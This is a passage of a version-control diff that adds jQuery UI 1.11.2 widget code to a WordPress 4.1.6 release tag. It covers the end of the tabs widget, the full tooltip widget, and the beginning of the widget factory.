+			})
+			.css( "overflow", "auto" );
+		} else if ( heightStyle === "auto" ) {
+			maxHeight = 0;
+			this.panels.each(function() {
+				maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
+			}).height( maxHeight );
+		}
+	},
+
+	_eventHandler: function( event ) {
+		var options = this.options,
+			active = this.active,
+			anchor = $( event.currentTarget ),
+			tab = anchor.closest( "li" ),
+			clickedIsActive = tab[ 0 ] === active[ 0 ],
+			collapsing = clickedIsActive && options.collapsible,
+			toShow = collapsing ? $() : this._getPanelForTab( tab ),
+			toHide = !active.length ? $() : this._getPanelForTab( active ),
+			eventData = {
+				oldTab: active,
+				oldPanel: toHide,
+				newTab: collapsing ? $() : tab,
+				newPanel: toShow
+			};
+
+		event.preventDefault();
+
+		if ( tab.hasClass( "ui-state-disabled" ) ||
+				// tab is already loading
+				tab.hasClass( "ui-tabs-loading" ) ||
+				// can't switch durning an animation
+				this.running ||
+				// click on active header, but not collapsible
+				( clickedIsActive && !options.collapsible ) ||
+				// allow canceling activation
+				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
+			return;
+		}
+
+		options.active = collapsing ? false : this.tabs.index( tab );
+
+		this.active = clickedIsActive ? $() : tab;
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		if ( !toHide.length && !toShow.length ) {
+			$.error( "jQuery UI Tabs: Mismatching fragment identifier." );
+		}
+
+		if ( toShow.length ) {
+			this.load( this.tabs.index( tab ), event );
+		}
+		this._toggle( event, eventData );
+	},
+
+	// handles show/hide for selecting tabs
+	_toggle: function( event, eventData ) {
+		var that = this,
+			toShow = eventData.newPanel,
+			toHide = eventData.oldPanel;
+
+		this.running = true;
+
+		function complete() {
+			that.running = false;
+			that._trigger( "activate", event, eventData );
+		}
+
+		function show() {
+			eventData.newTab.closest( "li" ).addClass( "ui-tabs-active ui-state-active" );
+
+			if ( toShow.length && that.options.show ) {
+				that._show( toShow, that.options.show, complete );
+			} else {
+				toShow.show();
+				complete();
+			}
+		}
+
+		// start out by hiding, then showing, then completing
+		if ( toHide.length && this.options.hide ) {
+			this._hide( toHide, this.options.hide, function() {
+				eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" );
+				show();
+			});
+		} else {
+			eventData.oldTab.closest( "li" ).removeClass( "ui-tabs-active ui-state-active" );
+			toHide.hide();
+			show();
+		}
+
+		toHide.attr( "aria-hidden", "true" );
+		eventData.oldTab.attr({
+			"aria-selected": "false",
+			"aria-expanded": "false"
+		});
+		// If we're switching tabs, remove the old tab from the tab order.
+		// If we're opening from collapsed state, remove the previous tab from the tab order.
+		// If we're collapsing, then keep the collapsing tab in the tab order.
+		if ( toShow.length && toHide.length ) {
+			eventData.oldTab.attr( "tabIndex", -1 );
+		} else if ( toShow.length ) {
+			this.tabs.filter(function() {
+				return $( this ).attr( "tabIndex" ) === 0;
+			})
+			.attr( "tabIndex", -1 );
+		}
+
+		toShow.attr( "aria-hidden", "false" );
+		eventData.newTab.attr({
+			"aria-selected": "true",
+			"aria-expanded": "true",
+			tabIndex: 0
+		});
+	},
+
+	_activate: function( index ) {
+		var anchor,
+			active = this._findActive( index );
+
+		// trying to activate the already active panel
+		if ( active[ 0 ] === this.active[ 0 ] ) {
+			return;
+		}
+
+		// trying to collapse, simulate a click on the current active header
+		if ( !active.length ) {
+			active = this.active;
+		}
+
+		anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
+		this._eventHandler({
+			target: anchor,
+			currentTarget: anchor,
+			preventDefault: $.noop
+		});
+	},
+
+	_findActive: function( index ) {
+		return index === false ? $() : this.tabs.eq( index );
+	},
+
+	_getIndex: function( index ) {
+		// meta-function to give users option to provide a href string instead of a numerical index.
+		if ( typeof index === "string" ) {
+			index = this.anchors.index( this.anchors.filter( "[href$='" + index + "']" ) );
+		}
+
+		return index;
+	},
+
+	_destroy: function() {
+		if ( this.xhr ) {
+			this.xhr.abort();
+		}
+
+		this.element.removeClass( "ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible" );
+
+		this.tablist
+			.removeClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" )
+			.removeAttr( "role" );
+
+		this.anchors
+			.removeClass( "ui-tabs-anchor" )
+			.removeAttr( "role" )
+			.removeAttr( "tabIndex" )
+			.removeUniqueId();
+
+		this.tablist.unbind( this.eventNamespace );
+
+		this.tabs.add( this.panels ).each(function() {
+			if ( $.data( this, "ui-tabs-destroy" ) ) {
+				$( this ).remove();
+			} else {
+				$( this )
+					.removeClass( "ui-state-default ui-state-active ui-state-disabled " +
+						"ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel" )
+					.removeAttr( "tabIndex" )
+					.removeAttr( "aria-live" )
+					.removeAttr( "aria-busy" )
+					.removeAttr( "aria-selected" )
+					.removeAttr( "aria-labelledby" )
+					.removeAttr( "aria-hidden" )
+					.removeAttr( "aria-expanded" )
+					.removeAttr( "role" );
+			}
+		});
+
+		this.tabs.each(function() {
+			var li = $( this ),
+				prev = li.data( "ui-tabs-aria-controls" );
+			if ( prev ) {
+				li
+					.attr( "aria-controls", prev )
+					.removeData( "ui-tabs-aria-controls" );
+			} else {
+				li.removeAttr( "aria-controls" );
+			}
+		});
+
+		this.panels.show();
+
+		if ( this.options.heightStyle !== "content" ) {
+			this.panels.css( "height", "" );
+		}
+	},
+
+	enable: function( index ) {
+		var disabled = this.options.disabled;
+		if ( disabled === false ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = false;
+		} else {
+			index = this._getIndex( index );
+			if ( $.isArray( disabled ) ) {
+				disabled = $.map( disabled, function( num ) {
+					return num !== index ? num : null;
+				});
+			} else {
+				disabled = $.map( this.tabs, function( li, num ) {
+					return num !== index ? num : null;
+				});
+			}
+		}
+		this._setupDisabled( disabled );
+	},
+
+	disable: function( index ) {
+		var disabled = this.options.disabled;
+		if ( disabled === true ) {
+			return;
+		}
+
+		if ( index === undefined ) {
+			disabled = true;
+		} else {
+			index = this._getIndex( index );
+			if ( $.inArray( index, disabled ) !== -1 ) {
+				return;
+			}
+			if ( $.isArray( disabled ) ) {
+				disabled = $.merge( [ index ], disabled ).sort();
+			} else {
+				disabled = [ index ];
+			}
+		}
+		this._setupDisabled( disabled );
+	},
+
+	load: function( index, event ) {
+		index = this._getIndex( index );
+		var that = this,
+			tab = this.tabs.eq( index ),
+			anchor = tab.find( ".ui-tabs-anchor" ),
+			panel = this._getPanelForTab( tab ),
+			eventData = {
+				tab: tab,
+				panel: panel
+			};
+
+		// not remote
+		if ( this._isLocal( anchor[ 0 ] ) ) {
+			return;
+		}
+
+		this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );
+
+		// support: jQuery <1.8
+		// jQuery <1.8 returns false if the request is canceled in beforeSend,
+		// but as of 1.8, $.ajax() always returns a jqXHR object.
+		if ( this.xhr && this.xhr.statusText !== "canceled" ) {
+			tab.addClass( "ui-tabs-loading" );
+			panel.attr( "aria-busy", "true" );
+
+			this.xhr
+				.success(function( response ) {
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout(function() {
+						panel.html( response );
+						that._trigger( "load", event, eventData );
+					}, 1 );
+				})
+				.complete(function( jqXHR, status ) {
+					// support: jQuery <1.8
+					// http://bugs.jquery.com/ticket/11778
+					setTimeout(function() {
+						if ( status === "abort" ) {
+							that.panels.stop( false, true );
+						}
+
+						tab.removeClass( "ui-tabs-loading" );
+						panel.removeAttr( "aria-busy" );
+
+						if ( jqXHR === that.xhr ) {
+							delete that.xhr;
+						}
+					}, 1 );
+				});
+		}
+	},
+
+	_ajaxSettings: function( anchor, event, eventData ) {
+		var that = this;
+		return {
+			url: anchor.attr( "href" ),
+			beforeSend: function( jqXHR, settings ) {
+				return that._trigger( "beforeLoad", event,
+					$.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
+			}
+		};
+	},
+
+	_getPanelForTab: function( tab ) {
+		var id = $( tab ).attr( "aria-controls" );
+		return this.element.find( this._sanitizeSelector( "#" + id ) );
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/tooltip.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/tooltip.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/tooltip.js	(revision 33402)
@@ -0,0 +1,461 @@
+/*!
+ * jQuery UI Tooltip 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/tooltip/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./position"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.tooltip", {
+	version: "1.11.2",
+	options: {
+		content: function() {
+			// support: IE<9, Opera in jQuery <1.7
+			// .text() can't accept undefined, so coerce to a string
+			var title = $( this ).attr( "title" ) || "";
+			// Escape title, since we're going from an attribute to raw HTML
+			return $( "<a>" ).text( title ).html();
+		},
+		hide: true,
+		// Disabled elements have inconsistent behavior across browsers (#8661)
+		items: "[title]:not([disabled])",
+		position: {
+			my: "left top+15",
+			at: "left bottom",
+			collision: "flipfit flip"
+		},
+		show: true,
+		tooltipClass: null,
+		track: false,
+
+		// callbacks
+		close: null,
+		open: null
+	},
+
+	_addDescribedBy: function( elem, id ) {
+		var describedby = (elem.attr( "aria-describedby" ) || "").split( /\s+/ );
+		describedby.push( id );
+		elem
+			.data( "ui-tooltip-id", id )
+			.attr( "aria-describedby", $.trim( describedby.join( " " ) ) );
+	},
+
+	_removeDescribedBy: function( elem ) {
+		var id = elem.data( "ui-tooltip-id" ),
+			describedby = (elem.attr( "aria-describedby" ) || "").split( /\s+/ ),
+			index = $.inArray( id, describedby );
+
+		if ( index !== -1 ) {
+			describedby.splice( index, 1 );
+		}
+
+		elem.removeData( "ui-tooltip-id" );
+		describedby = $.trim( describedby.join( " " ) );
+		if ( describedby ) {
+			elem.attr( "aria-describedby", describedby );
+		} else {
+			elem.removeAttr( "aria-describedby" );
+		}
+	},
+
+	_create: function() {
+		this._on({
+			mouseover: "open",
+			focusin: "open"
+		});
+
+		// IDs of generated tooltips, needed for destroy
+		this.tooltips = {};
+
+		// IDs of parent tooltips where we removed the title attribute
+		this.parents = {};
+
+		if ( this.options.disabled ) {
+			this._disable();
+		}
+
+		// Append the aria-live region so tooltips announce correctly
+		this.liveRegion = $( "<div>" )
+			.attr({
+				role: "log",
+				"aria-live": "assertive",
+				"aria-relevant": "additions"
+			})
+			.addClass( "ui-helper-hidden-accessible" )
+			.appendTo( this.document[ 0 ].body );
+	},
+
+	_setOption: function( key, value ) {
+		var that = this;
+
+		if ( key === "disabled" ) {
+			this[ value ? "_disable" : "_enable" ]();
+			this.options[ key ] = value;
+			// disable element style changes
+			return;
+		}
+
+		this._super( key, value );
+
+		if ( key === "content" ) {
+			$.each( this.tooltips, function( id, tooltipData ) {
+				that._updateContent( tooltipData.element );
+			});
+		}
+	},
+
+	_disable: function() {
+		var that = this;
+
+		// close open tooltips
+		$.each( this.tooltips, function( id, tooltipData ) {
+			var event = $.Event( "blur" );
+			event.target = event.currentTarget = tooltipData.element[ 0 ];
+			that.close( event, true );
+		});
+
+		// remove title attributes to prevent native tooltips
+		this.element.find( this.options.items ).addBack().each(function() {
+			var element = $( this );
+			if ( element.is( "[title]" ) ) {
+				element
+					.data( "ui-tooltip-title", element.attr( "title" ) )
+					.removeAttr( "title" );
+			}
+		});
+	},
+
+	_enable: function() {
+		// restore title attributes
+		this.element.find( this.options.items ).addBack().each(function() {
+			var element = $( this );
+			if ( element.data( "ui-tooltip-title" ) ) {
+				element.attr( "title", element.data( "ui-tooltip-title" ) );
+			}
+		});
+	},
+
+	open: function( event ) {
+		var that = this,
+			target = $( event ? event.target : this.element )
+				// we need closest here due to mouseover bubbling,
+				// but always pointing at the same event target
+				.closest( this.options.items );
+
+		// No element to show a tooltip for or the tooltip is already open
+		if ( !target.length || target.data( "ui-tooltip-id" ) ) {
+			return;
+		}
+
+		if ( target.attr( "title" ) ) {
+			target.data( "ui-tooltip-title", target.attr( "title" ) );
+		}
+
+		target.data( "ui-tooltip-open", true );
+
+		// kill parent tooltips, custom or native, for hover
+		if ( event && event.type === "mouseover" ) {
+			target.parents().each(function() {
+				var parent = $( this ),
+					blurEvent;
+				if ( parent.data( "ui-tooltip-open" ) ) {
+					blurEvent = $.Event( "blur" );
+					blurEvent.target = blurEvent.currentTarget = this;
+					that.close( blurEvent, true );
+				}
+				if ( parent.attr( "title" ) ) {
+					parent.uniqueId();
+					that.parents[ this.id ] = {
+						element: this,
+						title: parent.attr( "title" )
+					};
+					parent.attr( "title", "" );
+				}
+			});
+		}
+
+		this._updateContent( target, event );
+	},
+
+	_updateContent: function( target, event ) {
+		var content,
+			contentOption = this.options.content,
+			that = this,
+			eventType = event ? event.type : null;
+
+		if ( typeof contentOption === "string" ) {
+			return this._open( event, target, contentOption );
+		}
+
+		content = contentOption.call( target[0], function( response ) {
+			// ignore async response if tooltip was closed already
+			if ( !target.data( "ui-tooltip-open" ) ) {
+				return;
+			}
+			// IE may instantly serve a cached response for ajax requests
+			// delay this call to _open so the other call to _open runs first
+			that._delay(function() {
+				// jQuery creates a special event for focusin when it doesn't
+				// exist natively. To improve performance, the native event
+				// object is reused and the type is changed. Therefore, we can't
+				// rely on the type being correct after the event finished
+				// bubbling, so we set it back to the previous value. (#8740)
+				if ( event ) {
+					event.type = eventType;
+				}
+				this._open( event, target, response );
+			});
+		});
+		if ( content ) {
+			this._open( event, target, content );
+		}
+	},
+
+	_open: function( event, target, content ) {
+		var tooltipData, tooltip, events, delayedShow, a11yContent,
+			positionOption = $.extend( {}, this.options.position );
+
+		if ( !content ) {
+			return;
+		}
+
+		// Content can be updated multiple times. If the tooltip already
+		// exists, then just update the content and bail.
+		tooltipData = this._find( target );
+		if ( tooltipData ) {
+			tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content );
+			return;
+		}
+
+		// if we have a title, clear it to prevent the native tooltip
+		// we have to check first to avoid defining a title if none exists
+		// (we don't want to cause an element to start matching [title])
+		//
+		// We use removeAttr only for key events, to allow IE to export the correct
+		// accessible attributes. For mouse events, set to empty string to avoid
+		// native tooltip showing up (happens only when removing inside mouseover).
+		if ( target.is( "[title]" ) ) {
+			if ( event && event.type === "mouseover" ) {
+				target.attr( "title", "" );
+			} else {
+				target.removeAttr( "title" );
+			}
+		}
+
+		tooltipData = this._tooltip( target );
+		tooltip = tooltipData.tooltip;
+		this._addDescribedBy( target, tooltip.attr( "id" ) );
+		tooltip.find( ".ui-tooltip-content" ).html( content );
+
+		// Support: Voiceover on OS X, JAWS on IE <= 9
+		// JAWS announces deletions even when aria-relevant="additions"
+		// Voiceover will sometimes re-read the entire log region's contents from the beginning
+		this.liveRegion.children().hide();
+		if ( content.clone ) {
+			a11yContent = content.clone();
+			a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" );
+		} else {
+			a11yContent = content;
+		}
+		$( "<div>" ).html( a11yContent ).appendTo( this.liveRegion );
+
+		function position( event ) {
+			positionOption.of = event;
+			if ( tooltip.is( ":hidden" ) ) {
+				return;
+			}
+			tooltip.position( positionOption );
+		}
+		if ( this.options.track && event && /^mouse/.test( event.type ) ) {
+			this._on( this.document, {
+				mousemove: position
+			});
+			// trigger once to override element-relative positioning
+			position( event );
+		} else {
+			tooltip.position( $.extend({
+				of: target
+			}, this.options.position ) );
+		}
+
+		tooltip.hide();
+
+		this._show( tooltip, this.options.show );
+		// Handle tracking tooltips that are shown with a delay (#8644). As soon
+		// as the tooltip is visible, position the tooltip using the most recent
+		// event.
+		if ( this.options.show && this.options.show.delay ) {
+			delayedShow = this.delayedShow = setInterval(function() {
+				if ( tooltip.is( ":visible" ) ) {
+					position( positionOption.of );
+					clearInterval( delayedShow );
+				}
+			}, $.fx.interval );
+		}
+
+		this._trigger( "open", event, { tooltip: tooltip } );
+
+		events = {
+			keyup: function( event ) {
+				if ( event.keyCode === $.ui.keyCode.ESCAPE ) {
+					var fakeEvent = $.Event(event);
+					fakeEvent.currentTarget = target[0];
+					this.close( fakeEvent, true );
+				}
+			}
+		};
+
+		// Only bind remove handler for delegated targets. Non-delegated
+		// tooltips will handle this in destroy.
+		if ( target[ 0 ] !== this.element[ 0 ] ) {
+			events.remove = function() {
+				this._removeTooltip( tooltip );
+			};
+		}
+
+		if ( !event || event.type === "mouseover" ) {
+			events.mouseleave = "close";
+		}
+		if ( !event || event.type === "focusin" ) {
+			events.focusout = "close";
+		}
+		this._on( true, target, events );
+	},
+
+	close: function( event ) {
+		var tooltip,
+			that = this,
+			target = $( event ? event.currentTarget : this.element ),
+			tooltipData = this._find( target );
+
+		// The tooltip may already be closed
+		if ( !tooltipData ) {
+			return;
+		}
+
+		tooltip = tooltipData.tooltip;
+
+		// disabling closes the tooltip, so we need to track when we're closing
+		// to avoid an infinite loop in case the tooltip becomes disabled on close
+		if ( tooltipData.closing ) {
+			return;
+		}
+
+		// Clear the interval for delayed tracking tooltips
+		clearInterval( this.delayedShow );
+
+		// only set title if we had one before (see comment in _open())
+		// If the title attribute has changed since open(), don't restore
+		if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) {
+			target.attr( "title", target.data( "ui-tooltip-title" ) );
+		}
+
+		this._removeDescribedBy( target );
+
+		tooltipData.hiding = true;
+		tooltip.stop( true );
+		this._hide( tooltip, this.options.hide, function() {
+			that._removeTooltip( $( this ) );
+		});
+
+		target.removeData( "ui-tooltip-open" );
+		this._off( target, "mouseleave focusout keyup" );
+
+		// Remove 'remove' binding only on delegated targets
+		if ( target[ 0 ] !== this.element[ 0 ] ) {
+			this._off( target, "remove" );
+		}
+		this._off( this.document, "mousemove" );
+
+		if ( event && event.type === "mouseleave" ) {
+			$.each( this.parents, function( id, parent ) {
+				$( parent.element ).attr( "title", parent.title );
+				delete that.parents[ id ];
+			});
+		}
+
+		tooltipData.closing = true;
+		this._trigger( "close", event, { tooltip: tooltip } );
+		if ( !tooltipData.hiding ) {
+			tooltipData.closing = false;
+		}
+	},
+
+	_tooltip: function( element ) {
+		var tooltip = $( "<div>" )
+				.attr( "role", "tooltip" )
+				.addClass( "ui-tooltip ui-widget ui-corner-all ui-widget-content " +
+					( this.options.tooltipClass || "" ) ),
+			id = tooltip.uniqueId().attr( "id" );
+
+		$( "<div>" )
+			.addClass( "ui-tooltip-content" )
+			.appendTo( tooltip );
+
+		tooltip.appendTo( this.document[0].body );
+
+		return this.tooltips[ id ] = {
+			element: element,
+			tooltip: tooltip
+		};
+	},
+
+	_find: function( target ) {
+		var id = target.data( "ui-tooltip-id" );
+		return id ? this.tooltips[ id ] : null;
+	},
+
+	_removeTooltip: function( tooltip ) {
+		tooltip.remove();
+		delete this.tooltips[ tooltip.attr( "id" ) ];
+	},
+
+	_destroy: function() {
+		var that = this;
+
+		// close open tooltips
+		$.each( this.tooltips, function( id, tooltipData ) {
+			// Delegate to close method to handle common cleanup
+			var event = $.Event( "blur" ),
+				element = tooltipData.element;
+			event.target = event.currentTarget = element[ 0 ];
+			that.close( event, true );
+
+			// Remove immediately; destroying an open tooltip doesn't use the
+			// hide animation
+			$( "#" + id ).remove();
+
+			// Restore the title
+			if ( element.data( "ui-tooltip-title" ) ) {
+				// If the title attribute has changed since open(), don't restore
+				if ( !element.attr( "title" ) ) {
+					element.attr( "title", element.data( "ui-tooltip-title" ) );
+				}
+				element.removeData( "ui-tooltip-title" );
+			}
+		});
+		this.liveRegion.remove();
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/widget.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/widget.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/widget.js	(revision 33402)
@@ -0,0 +1,557 @@
+/*!
+ * jQuery UI Widget 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/jQuery.widget/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var widget_uuid = 0,
+	widget_slice = Array.prototype.slice;
+
+$.cleanData = (function( orig ) {
+	return function( elems ) {
+		var events, elem, i;
+		for ( i = 0; (elem = elems[i]) != null; i++ ) {
+			try {
+
+				// Only trigger remove when necessary to save time
+				events = $._data( elem, "events" );
+				if ( events && events.remove ) {
+					$( elem ).triggerHandler( "remove" );
+				}
+
+			// http://bugs.jquery.com/ticket/8235
+			} catch ( e ) {}
+		}
+		orig( elems );
+	};
+})( $.cleanData );
+
+$.widget = function( name, base, prototype ) {
+	var fullName, existingConstructor, constructor, basePrototype,
+		// proxiedPrototype allows the provided prototype to remain unmodified
+		// so that it can be used as a mixin for multiple widgets (#8876)
+		proxiedPrototype = {},
+		namespace = name.split( "." )[ 0 ];
+
+	name = name.split( "." )[ 1 ];
+	fullName = namespace + "-" + name;
+
+	if ( !prototype ) {
+		prototype = base;
+		base = $.Widget;
+	}
+
+	// create selector for plugin
+	$.expr[ ":" ][ fullName.toLowerCase() ] = function( elem ) {
+		return !!$.data( elem, fullName );
+	};
+
+	$[ namespace ] = $[ namespace ] || {};
+	existingConstructor = $[ namespace ][ name ];
+	constructor = $[ namespace ][ name ] = function( options, element ) {
+		// allow instantiation without "new" keyword
+		if ( !this._createWidget ) {
+			return new constructor( options, element );
+		}
+
+		// allow instantiation without initializing for simple inheritance
+		// must use "new" keyword (the code above always passes args)
+		if ( arguments.length ) {
+			this._createWidget( options, element );
+		}
+	};
+	// extend with the existing constructor to carry over any static properties
+	$.extend( constructor, existingConstructor, {
+		version: prototype.version,
+		// copy the object used to create the prototype in case we need to
+		// redefine the widget later
+		_proto: $.extend( {}, prototype ),
+		// track widgets that inherit from this widget in case this widget is
+		// redefined after a widget inherits from it
+		_childConstructors: []
+	});
+
+	basePrototype = new base();
+	// we need to make the options hash a property directly on the new instance
+	// otherwise we'll modify the options hash on the prototype that we're
+	// inheriting from
+	basePrototype.options = $.widget.extend( {}, basePrototype.options );
+	$.each( prototype, function( prop, value ) {
+		if ( !$.isFunction( value ) ) {
+			proxiedPrototype[ prop ] = value;
+			return;
+		}
+		proxiedPrototype[ prop ] = (function() {
+			var _super = function() {
+					return base.prototype[ prop ].apply( this, arguments );
+				},
+				_superApply = function( args ) {
+					return base.prototype[ prop ].apply( this, args );
+				};
+			return function() {
+				var __super = this._super,
+					__superApply = this._superApply,
+					returnValue;
+
+				this._super = _super;
+				this._superApply = _superApply;
+
+				returnValue = value.apply( this, arguments );
+
+				this._super = __super;
+				this._superApply = __superApply;
+
+				return returnValue;
+			};
+		})();
+	});
+	constructor.prototype = $.widget.extend( basePrototype, {
+		// TODO: remove support for widgetEventPrefix
+		// always use the name + a colon as the prefix, e.g., draggable:start
+		// don't prefix for widgets that aren't DOM-based
+		widgetEventPrefix: existingConstructor ? (basePrototype.widgetEventPrefix || name) : name
+	}, proxiedPrototype, {
+		constructor: constructor,
+		namespace: namespace,
+		widgetName: name,
+		widgetFullName: fullName
+	});
+
+	// If this widget is being redefined then we need to find all widgets that
+	// are inheriting from it and redefine all of them so that they inherit from
+	// the new version of this widget. We're essentially trying to replace one
+	// level in the prototype chain.
+	if ( existingConstructor ) {
+		$.each( existingConstructor._childConstructors, function( i, child ) {
+			var childPrototype = child.prototype;
+
+			// redefine the child widget using the same prototype that was
+			// originally used, but inherit from the new version of the base
+			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );
+		});
+		// remove the list of existing child constructors from the old constructor
+		// so the old child constructors can be garbage collected
+		delete existingConstructor._childConstructors;
+	} else {
+		base._childConstructors.push( constructor );
+	}
+
+	$.widget.bridge( name, constructor );
+
+	return constructor;
+};
+
+$.widget.extend = function( target ) {
+	var input = widget_slice.call( arguments, 1 ),
+		inputIndex = 0,
+		inputLength = input.length,
+		key,
+		value;
+	for ( ; inputIndex < inputLength; inputIndex++ ) {
+		for ( key in input[ inputIndex ] ) {
+			value = input[ inputIndex ][ key ];
+			if ( input[ inputIndex ].hasOwnProperty( key ) && value !== undefined ) {
+				// Clone objects
+				if ( $.isPlainObject( value ) ) {
+					target[ key ] = $.isPlainObject( target[ key ] ) ?
+						$.widget.extend( {}, target[ key ], value ) :
+						// Don't extend strings, arrays, etc. with objects
+						$.widget.extend( {}, value );
+				// Copy everything else by reference
+				} else {
+					target[ key ] = value;
+				}
+			}
+		}
+	}
+	return target;
+};
+
+$.widget.bridge = function( name, object ) {
+	var fullName = object.prototype.widgetFullName || name;
+	$.fn[ name ] = function( options ) {
+		var isMethodCall = typeof options === "string",
+			args = widget_slice.call( arguments, 1 ),
+			returnValue = this;
+
+		// allow multiple hashes to be passed on init
+		options = !isMethodCall && args.length ?
+			$.widget.extend.apply( null, [ options ].concat(args) ) :
+			options;
+
+		if ( isMethodCall ) {
+			this.each(function() {
+				var methodValue,
+					instance = $.data( this, fullName );
+				if ( options === "instance" ) {
+					returnValue = instance;
+					return false;
+				}
+				if ( !instance ) {
+					return $.error( "cannot call methods on " + name + " prior to initialization; " +
+						"attempted to call method '" + options + "'" );
+				}
+				if ( !$.isFunction( instance[options] ) || options.charAt( 0 ) === "_" ) {
+					return $.error( "no such method '" + options + "' for " + name + " widget instance" );
+				}
+				methodValue = instance[ options ].apply( instance, args );
+				if ( methodValue !== instance && methodValue !== undefined ) {
+					returnValue = methodValue && methodValue.jquery ?
+						returnValue.pushStack( methodValue.get() ) :
+						methodValue;
+					return false;
+				}
+			});
+		} else {
+			this.each(function() {
+				var instance = $.data( this, fullName );
+				if ( instance ) {
+					instance.option( options || {} );
+					if ( instance._init ) {
+						instance._init();
+					}
+				} else {
+					$.data( this, fullName, new object( options, this ) );
+				}
+			});
+		}
+
+		return returnValue;
+	};
+};
+
+$.Widget = function( /* options, element */ ) {};
+$.Widget._childConstructors = [];
+
+$.Widget.prototype = {
+	widgetName: "widget",
+	widgetEventPrefix: "",
+	defaultElement: "<div>",
+	options: {
+		disabled: false,
+
+		// callbacks
+		create: null
+	},
+	_createWidget: function( options, element ) {
+		element = $( element || this.defaultElement || this )[ 0 ];
+		this.element = $( element );
+		this.uuid = widget_uuid++;
+		this.eventNamespace = "." + this.widgetName + this.uuid;
+
+		this.bindings = $();
+		this.hoverable = $();
+		this.focusable = $();
+
+		if ( element !== this ) {
+			$.data( element, this.widgetFullName, this );
+			this._on( true, this.element, {
+				remove: function( event ) {
+					if ( event.target === element ) {
+						this.destroy();
+					}
+				}
+			});
+			this.document = $( element.style ?
+				// element within the document
+				element.ownerDocument :
+				// element is window or document
+				element.document || element );
+			this.window = $( this.document[0].defaultView || this.document[0].parentWindow );
+		}
+
+		this.options = $.widget.extend( {},
+			this.options,
+			this._getCreateOptions(),
+			options );
+
+		this._create();
+		this._trigger( "create", null, this._getCreateEventData() );
+		this._init();
+	},
+	_getCreateOptions: $.noop,
+	_getCreateEventData: $.noop,
+	_create: $.noop,
+	_init: $.noop,
+
+	destroy: function() {
+		this._destroy();
+		// we can probably remove the unbind calls in 2.0
+		// all event bindings should go through this._on()
+		this.element
+			.unbind( this.eventNamespace )
+			.removeData( this.widgetFullName )
+			// support: jquery <1.6.3
+			// http://bugs.jquery.com/ticket/9413
+			.removeData( $.camelCase( this.widgetFullName ) );
+		this.widget()
+			.unbind( this.eventNamespace )
+			.removeAttr( "aria-disabled" )
+			.removeClass(
+				this.widgetFullName + "-disabled " +
+				"ui-state-disabled" );
+
+		// clean up events and states
+		this.bindings.unbind( this.eventNamespace );
+		this.hoverable.removeClass( "ui-state-hover" );
+		this.focusable.removeClass( "ui-state-focus" );
+	},
+	_destroy: $.noop,
+
+	widget: function() {
+		return this.element;
+	},
+
+	option: function( key, value ) {
+		var options = key,
+			parts,
+			curOption,
+			i;
+
+		if ( arguments.length === 0 ) {
+			// don't return a reference to the internal hash
+			return $.widget.extend( {}, this.options );
+		}
+
+		if ( typeof key === "string" ) {
+			// handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
+			options = {};
+			parts = key.split( "." );
+			key = parts.shift();
+			if ( parts.length ) {
+				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
+				for ( i = 0; i < parts.length - 1; i++ ) {
+					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
+					curOption = curOption[ parts[ i ] ];
+				}
+				key = parts.pop();
+				if ( arguments.length === 1 ) {
+					return curOption[ key ] === undefined ? null : curOption[ key ];
+				}
+				curOption[ key ] = value;
+			} else {
+				if ( arguments.length === 1 ) {
+					return this.options[ key ] === undefined ? null : this.options[ key ];
+				}
+				options[ key ] = value;
+			}
+		}
+
+		this._setOptions( options );
+
+		return this;
+	},
+	_setOptions: function( options ) {
+		var key;
+
+		for ( key in options ) {
+			this._setOption( key, options[ key ] );
+		}
+
+		return this;
+	},
+	_setOption: function( key, value ) {
+		this.options[ key ] = value;
+
+		if ( key === "disabled" ) {
+			this.widget()
+				.toggleClass( this.widgetFullName + "-disabled", !!value );
+
+			// If the widget is becoming disabled, then nothing is interactive
+			if ( value ) {
+				this.hoverable.removeClass( "ui-state-hover" );
+				this.focusable.removeClass( "ui-state-focus" );
+			}
+		}
+
+		return this;
+	},
+
+	enable: function() {
